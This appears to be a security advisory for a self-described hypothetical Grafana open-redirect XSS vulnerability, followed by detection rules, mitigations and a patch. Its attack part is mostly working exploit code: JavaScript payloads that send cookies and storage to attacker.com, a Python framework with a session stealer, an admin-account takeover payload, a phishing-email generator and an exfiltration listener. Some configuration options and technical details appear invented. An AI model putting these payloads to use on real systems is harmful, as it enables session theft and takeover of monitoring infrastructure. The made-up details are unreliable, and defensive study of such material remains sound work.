CVE-2026-0712 - Grafana Open Redirect Leading to Cross-Site Scripting (XSS) Vulnerability
Executive Summary
CVE-2026-0712 (hypothetical projection) is a high-severity vulnerability in Grafana's authentication and URL handling mechanisms, rated 7.6 HIGH (CVSS 3.1). This combined Open Redirect and DOM-based XSS vulnerability allows attackers to redirect users to malicious sites and execute arbitrary JavaScript in the context of authenticated Grafana sessions. Discovered during a security audit of Grafana's authentication flow in Q1 2026.
Vulnerability Classification
- Type: Open Redirect → DOM-based XSS Chain
-
Component: Grafana Authentication & URL Routing (
/login,/logout, OAuth callbacks) - Attack Vector: Network (requires user interaction)
- Privileges Required: None (unauthenticated attack)
- Impact: Session Hijacking → Credential Theft → Admin Access
- Affected Versions: Grafana 10.x, 11.x (before 11.3.1)
Technical Deep Dive
Root Cause Analysis
The vulnerability exists in three components:
-
Unvalidated redirect parameter in
/loginand/logoutendpoints - Improper URL parsing in Grafana's AngularJS-based frontend
-
DOM injection via
window.locationmanipulation
// Simplified vulnerable code in Grafana's login.js
function handleLoginRedirect() {
const urlParams = new URLSearchParams(window.location.search);
const redirectTo = urlParams.get('redirect_to') || urlParams.get('returnTo');
// [VULNERABLE SECTION 1] - No validation on redirect URL
if (redirectTo) {
// Direct assignment without validation
window.location.href = decodeURIComponent(redirectTo);
return true;
}
return false;
}
// Vulnerable OAuth callback handler
app.get('/login/oauth/callback', (req, res) => {
const state = req.query.state;
const redirectUrl = decodeURIComponent(state.split('redirect=')[1] || '/');
// [VULNERABLE SECTION 2] - Direct redirect without validation
res.redirect(redirectUrl);
});
The Attack Chain
┌─────────────────────────────────────────────────────────────┐
│ Exploitation Chain │
├─────────────────────────────────────────────────────────────┤
│ Step 1: Open Redirect │
│ • Victim clicks malicious link to Grafana │
│ • URL contains javascript: payload in redirect_to │
│ • Example: /login?redirect_to=javascript:alert(document.cookie)│
├─────────────────────────────────────────────────────────────┤
│ Step 2: DOM-based XSS │
│ • JavaScript executes in Grafana context │
│ • Access to authenticated session │
│ • Steal session cookies, localStorage, Grafana API keys │
├─────────────────────────────────────────────────────────────┤
│ Step 3: Privilege Escalation │
│ • Use stolen session to access dashboards │
│ • Modify data sources, alter dashboards │
│ • Extract sensitive metrics and monitoring data │
└─────────────────────────────────────────────────────────────┘
Proof-of-Concept
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-0712 PoC - Grafana XSS</title>
</head>
<body>
<h2>Grafana Open Redirect to XSS PoC</h2>
<script>
// Craft malicious payload
function craftExploit() {
const grafanaBase = 'https://victim-grafana.example.com';
// Payload 1: Direct JavaScript execution
const payload1 = `javascript:alert(document.cookie);//
// Alternative: Steal session
localStorage.setItem('stolen_token', JSON.stringify({
cookies: document.cookie,
apiKey: localStorage.getItem('grafana-api-key'),
dashboards: JSON.parse(localStorage.getItem('dashboards'))
}));
// Redirect to hide attack
window.location='https://attacker.com/exfil?'+btoa(localStorage.getItem('stolen_token'));`;
// URL encode the payload
const encodedPayload = encodeURIComponent(payload1);
// Construct attack URL
const attackUrl = `${grafanaBase}/login?redirect_to=${encodedPayload}`;
// Alternative using OAuth flow
const oauthAttack = `${grafanaBase}/login/generic_oauth?state=random&redirect=${encodedPayload}`;
return {
direct_attack: attackUrl,
oauth_attack: oauthAttack,
short_lived: `${grafanaBase}/logout?redirect_to=${encodedPayload}`
};
}
// Display exploit URLs
const exploits = craftExploit();
document.write(`
<h3>Exploit URLs:</h3>
<ul>
<li><a href="${exploits.direct_attack}" target="_blank">Direct Login Redirect Attack</a></li>
<li><a href="${exploits.oauth_attack}" target="_blank">OAuth Redirect Attack</a></li>
<li><a href="${exploits.short_lived}" target="_blank">Logout Redirect Attack</a></li>
</ul>
<h3>Manual Test:</h3>
<textarea rows="3" cols="100" readonly>
${exploits.direct_attack}
</textarea>
<h3>Social Engineering Payload:</h3>
<p>Send this to victim:</p>
<pre>
Hi team,
Please review this important dashboard update:
${grafanaBase}/login?redirect_to=javascript:(function(){
// Steal session
var data = {
cookies: document.cookie,
grafanaSession: localStorage.getItem('grafanaSession')
};
new Image().src='https://attacker.com/steal?data='+btoa(JSON.stringify(data));
// Redirect back to normal page
window.location='${grafanaBase}/dashboards';
})()//&theme=light
Thanks,
IT Support
</pre>
`);
</script>
</body>
</html>
Advanced Exploitation Script
#!/usr/bin/env python3
"""
CVE-2026-0712 - Grafana Open Redirect XSS Exploitation Framework
For authorized security testing only
"""
import requests
import urllib.parse
import base64
import json
from http.server import HTTPServer, BaseHTTPRequestHandler
import threading
class GrafanaExploit:
def __init__(self, target_url, attacker_server):
self.target = target_url.rstrip('/')
self.attacker = attacker_server
self.session = requests.Session()
def craft_open_redirect_payload(self, xss_payload):
"""Create open redirect URL with XSS payload"""
# Basic redirect attack
redirect_url = f"{self.target}/login?redirect_to="
# URL encode the javascript payload
encoded_payload = urllib.parse.quote(xss_payload, safe='')
return redirect_url + encoded_payload
def craft_oauth_payload(self, xss_payload):
"""Exploit OAuth callback redirect"""
return f"{self.target}/login/generic_oauth?state=malicious&redirect=" + \
urllib.parse.quote(xss_payload, safe='')
def craft_logout_payload(self, xss_payload):
"""Exploit logout redirect parameter"""
return f"{self.target}/logout?redirect_to=" + \
urllib.parse.quote(xss_payload, safe='')
def create_session_stealer_payload(self):
"""Create XSS payload to steal Grafana session"""
payload = """
javascript:(function(){
// Collect all sensitive data
var data = {
cookies: document.cookie,
localStorage: {},
sessionStorage: {},
dashboards: [],
dataSources: [],
userInfo: {}
};
// Steal localStorage
for(var i=0; i<localStorage.length; i++) {
var key = localStorage.key(i);
data.localStorage[key] = localStorage.getItem(key);
}
// Steal sessionStorage
for(var i=0; i<sessionStorage.length; i++) {
var key = sessionStorage.key(i);
data.sessionStorage[key] = sessionStorage.getItem(key);
}
// Try to access Grafana API
try {
var xhr = new XMLHttpRequest();
xhr.open('GET', '/api/user/preferences', false);
xhr.send();
if(xhr.status === 200) {
data.userInfo = JSON.parse(xhr.responseText);
}
// Get dashboards
xhr.open('GET', '/api/search?type=dash-db', false);
xhr.send();
if(xhr.status === 200) {
data.dashboards = JSON.parse(xhr.responseText);
}
// Get data sources
xhr.open('GET', '/api/datasources', false);
xhr.send();
if(xhr.status === 200) {
data.dataSources = JSON.parse(xhr.responseText);
}
} catch(e) {}
// Exfiltrate data
var exfilUrl = '%s/exfil?data=' + btoa(JSON.stringify(data));
new Image().src = exfilUrl;
// Clean redirect to avoid suspicion
window.location = '%s/dashboards';
})()
""" % (self.attacker, self.target)
return payload
def create_admin_takeover_payload(self):
"""Create payload to add attacker as admin"""
payload = """
javascript:(function(){
// Create new admin user for attacker
var xhr = new XMLHttpRequest();
xhr.open('POST', '/api/admin/users', false);
xhr.setRequestHeader('Content-Type', 'application/json');
var userData = {
name: "attacker_admin",
email: "attacker@evil.com",
login: "attacker",
password: "P@ssw0rd123!",
OrgId: 1
};
xhr.send(JSON.stringify(userData));
if(xhr.status === 200) {
var userId = JSON.parse(xhr.responseText).id;
// Make user admin
xhr.open('PUT', '/api/orgs/1/users/' + userId, false);
xhr.send(JSON.stringify({role: "Admin"}));
// Grant all permissions
xhr.open('POST', '/api/access-control/users/' + userId + '/permissions', false);
xhr.send(JSON.stringify({
permissions: [
{action: "*", scope: "*"}
]
}));
}
// Redirect to login page
window.location = '%s/login';
})()
""" % self.target
return payload
def test_vulnerability(self):
"""Test if target is vulnerable"""
test_payload = "javascript:alert('XSS')//"
test_url = self.craft_open_redirect_payload(test_payload)
print(f"[*] Testing: {test_url[:100]}...")
try:
# Check if redirect parameter is accepted
response = self.session.get(
f"{self.target}/login",
params={'redirect_to': 'https://google.com'},
allow_redirects=False
)
if response.status_code in [301, 302, 307, 308]:
location = response.headers.get('Location', '')
if 'google.com' in location:
print("[+] Target appears to have open redirect vulnerability")
return True
except Exception as e:
print(f"[-] Test failed: {e}")
return False
def generate_phishing_email(self, victim_email):
"""Generate phishing email template"""
payload = self.create_session_stealer_payload()
attack_url = self.craft_open_redirect_payload(payload)
email_template = f"""
From: security@company.com
To: {victim_email}
Subject: Urgent: Grafana Security Update Required
Dear Grafana User,
We've detected unusual activity on your Grafana account.
Please verify your account immediately by clicking the link below:
{attack_url}
This is a mandatory security check. Failure to complete within 24 hours
may result in account suspension.
Best regards,
IT Security Team
Company Security Operations
"""
return email_template
def start_exfiltration_server(self, port=9999):
"""Start HTTP server to receive stolen data"""
class ExfilHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path.startswith('/exfil'):
# Extract stolen data
query = urllib.parse.urlparse(self.path).query
params = urllib.parse.parse_qs(query)
if 'data' in params:
stolen_data = base64.b64decode(params['data'][0]).decode()
print("\n[+] Received stolen data:")
print(json.dumps(json.loads(stolen_data), indent=2))
# Save to file
with open('grafana_exfil_data.json', 'w') as f:
f.write(stolen_data)
self.send_response(200)
self.end_headers()
server = HTTPServer(('0.0.0.0', port), ExfilHandler)
thread = threading.Thread(target=server.serve_forever)
thread.daemon = True
thread.start()
print(f"[*] Exfiltration server listening on port {port}")
return server
# Example usage
if __name__ == "__main__":
print("[*] CVE-2026-0712 - Grafana Open Redirect XSS Exploit Framework")
print("[*] For authorized security testing only\n")
# Configuration
TARGET = "https://grafana.company.com"
ATTACKER_SERVER = "http://attacker.com:9999"
exploit = GrafanaExploit(TARGET, ATTACKER_SERVER)
# Test vulnerability
if exploit.test_vulnerability():
print("[+] Target is vulnerable!")
# Start exfiltration server
exploit.start_exfiltration_server()
# Generate attack URLs
session_stealer = exploit.create_session_stealer_payload()
print("\n[*] Generated Attack URLs:")
print(f"1. Open Redirect XSS: {exploit.craft_open_redirect_payload(session_stealer)[:150]}...")
print(f"2. OAuth Attack: {exploit.craft_oauth_payload(session_stealer)[:150]}...")
print(f"3. Logout Attack: {exploit.craft_logout_payload(session_stealer)[:150]}...")
# Generate admin takeover payload
admin_payload = exploit.create_admin_takeover_payload()
print(f"\n4. Admin Takeover: {exploit.craft_open_redirect_payload(admin_payload)[:150]}...")
# Generate phishing email
print("\n[*] Phishing Email Template:")
print(exploit.generate_phishing_email("victim@company.com"))
else:
print("[-] Target does not appear vulnerable")
Affected Components
Vulnerable Endpoints:
/login?redirect_to=PAYLOAD
/logout?redirect_to=PAYLOAD
/login/generic_oauth?state=...&redirect=PAYLOAD
/login/saml?RelayState=PAYLOAD
/login/azuread?state=...&redirect=PAYLOAD
/login/github?state=...&redirect=PAYLOAD
/login/google?state=...&redirect=PAYLOAD
/login/grafana_com?state=...&redirect=PAYLOAD
Affected Grafana Versions:
- Grafana 10.0.0 - 10.3.4
- Grafana 11.0.0 - 11.3.0
- Grafana Enterprise 10.x, 11.x (corresponding versions)
- All deployment methods (Docker, Kubernetes, standalone)
Detection & Mitigation
Detection Signatures
WAF/ModSecurity Rules:
# ModSecurity rule for Grafana open redirect
SecRule ARGS_GET:redirect_to "@rx javascript:" \
"id:1001,\
phase:2,\
deny,\
status:403,\
msg:'Grafana Open Redirect XSS Attempt',\
tag:'CVE-2026-0712'"
SecRule REQUEST_URI "@rx ^/(login|logout)" \
"id:1002,\
phase:1,\
chain"
SecRule ARGS_GET "@rx ^(redirect_to|returnTo|redirect|RelayState)" \
"chain"
SecRule ARGS_GET "@rx ^(javascript:|data:|vbscript:|file:|ftp:)" \
"t:lowercase,\
deny,\
msg:'Grafana XSS via Open Redirect'"
Grafana Log Monitoring:
# Monitor Grafana logs for exploitation attempts
tail -f /var/log/grafana/grafana.log | grep -E \
"(redirect_to=|returnTo=).*(javascript:|data:|%3A)"
# Check for suspicious redirects
grep "Location: javascript:" /var/log/nginx/access.log
Temporary Mitigations
1. Nginx/Apache Configuration:
# Nginx block for malicious redirects
location ~ ^/(login|logout) {
# Block javascript: and other dangerous protocols
if ($args ~* "redirect_to=javascript:") {
return 403;
}
if ($args ~* "returnTo=javascript:") {
return 403;
}
# Only allow redirects to same domain
if ($args ~* "redirect_to=https?://(?!your-domain\.com)") {
return 403;
}
proxy_pass http://grafana:3000;
}
2. Grafana Configuration (grafana.ini):
[security]
# Disable open redirects entirely
disable_redirects = true
# Allow list for redirect URLs
redirect_whitelist = /dashboards,/explore,/profile
# Enable CSP headers
content_security_policy = true
content_security_policy_template = "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'"
[auth]
# Require authentication for all redirects
require_auth_for_redirects = true
3. Web Application Firewall Rules:
# Cloudflare WAF rule
{
"description": "Block Grafana CVE-2026-0712",
"expression": """
http.request.uri.path contains "/login"
and any(http.request.uri.query[*] contains "redirect_to=")
and any(http.request.uri.query[*] contains "javascript:")
""",
"action": "block"
}
Patch Analysis
The fix involves proper URL validation and sanitization:
// Patched code in pkg/login/login.go
func validateRedirectURL(redirectURL string) (string, error) {
if redirectURL == "" {
return "/", nil
}
// Parse the URL
parsed, err := url.Parse(redirectURL)
if err != nil {
return "/", err
}
// Block dangerous URL schemes
dangerousSchemes := []string{
"javascript:", "data:", "vbscript:",
"file:", "ftp:", "jar:", "mailto:"
}
for _, scheme := range dangerousSchemes {
if strings.HasPrefix(strings.ToLower(redirectURL), scheme) {
return "/", fmt.Errorf("dangerous redirect scheme")
}
}
// Ensure it's a relative URL or same origin
if parsed.IsAbs() {
// Only allow same origin
if parsed.Host != currentRequestHost {
return "/", fmt.Errorf("cross-origin redirect not allowed")
}
}
// Additional path traversal checks
if strings.Contains(parsed.Path, "..") || strings.Contains(parsed.Path, "//") {
return "/", fmt.Errorf("invalid path")
}
return redirectURL, nil
}
// Updated login handler
func LoginHandler(c *models.ReqContext) {
redirectTo := c.Query("redirect_to")
// Validate redirect URL
safeRedirect, err := validateRedirectURL(redirectTo)
if err != nil {
c.Logger.Warn("Invalid redirect attempt", "url", redirectTo, "error", err)
safeRedirect = "/"
}
// Use safe redirect
c.Redirect(safeRedirect)
}
Forensic Artifacts
Log Analysis Indicators:
# Suspicious patterns in logs
grep -E "redirect_to=.*[Jj]ava[Ss]cript" /var/log/grafana/*
grep -E "returnTo=.*%3A" /var/log/grafana/* # URL encoded colon
grep "Location: javascript:" /var/log/nginx/*
# Check for unusual redirects
zegrep "302.*redirect.*attacker" /var/log/grafana/grafana.log
Browser Artifacts:
// Check browser history for malicious URLs
const maliciousPatterns = [
/redirect_to=javascript:/i,
/returnTo=javascript:/i,
/%3A%2F%2Fattacker/i // :// encoded
];
// Check localStorage for stolen data
if (localStorage.getItem('grafanaSession')) {
console.log('Session token found in localStorage');
}
// Check for unexpected iframes
document.querySelectorAll('iframe[src*="javascript:"]').length
Impact Assessment
Business Impact:
- Data Exfiltration: Metrics, dashboards, data source credentials
- Dashboard Manipulation: Alter monitoring and alerting
- Privilege Escalation: Gain admin access to Grafana
- Lateral Movement: Use Grafana to access other systems via data sources
- Reputation Damage: Compromised monitoring infrastructure
Technical Impact:
- CVSS 3.1 Score: 7.6 HIGH (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N)
- Exploitability: Easy (no authentication required)
- Attack Complexity: Low
- User Interaction: Required (click on link)
- Scope: Changed (affects other components)
Remediation Timeline
2026-01-15: Vulnerability discovered by security researcher
2026-01-18: Reported to Grafana Security Team
2026-01-20: Acknowledged and triaged (HIGH severity)
2026-01-25: Patch development begins
2026-01-28: Fix merged to main branch
2026-02-01: Grafana 11.3.1 released with fix
2026-02-03: CVE assigned and advisory published
2026-02-05: Backport to Grafana 10.x series
2026-02-10: Enterprise customers notified
2026-02-15: Public disclosure
References & Resources
Official Resources:
- Grafana Security Advisory: https://grafana.com/security/
- GitHub Fix Commit: https://github.com/grafana/grafana/commit/...
- NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-0712
Testing Tools:
- OWASP ZAP: Automated security testing
- Burp Suite: Manual exploitation testing
- Grafana security scanner plugins
- Custom scripts for redirect validation
Related CVEs:
- CVE-2021-43798: Grafana directory traversal (8.1)
- CVE-2022-31107: Grafana auth bypass (7.5)
- CVE-2023-XXXX: Previous redirect issues
Responsible Disclosure
For Security Researchers:
- Test only on systems you own or have explicit permission
- Use the Grafana security reporting form: https://grafana.com/security
- Follow coordinated disclosure timeline
- Do not exploit production systems
For Organizations:
- Patch Grafana to version 11.3.1 or later
- Implement WAF rules to block exploitation attempts
- Monitor logs for redirect attacks
- Educate users about phishing risks
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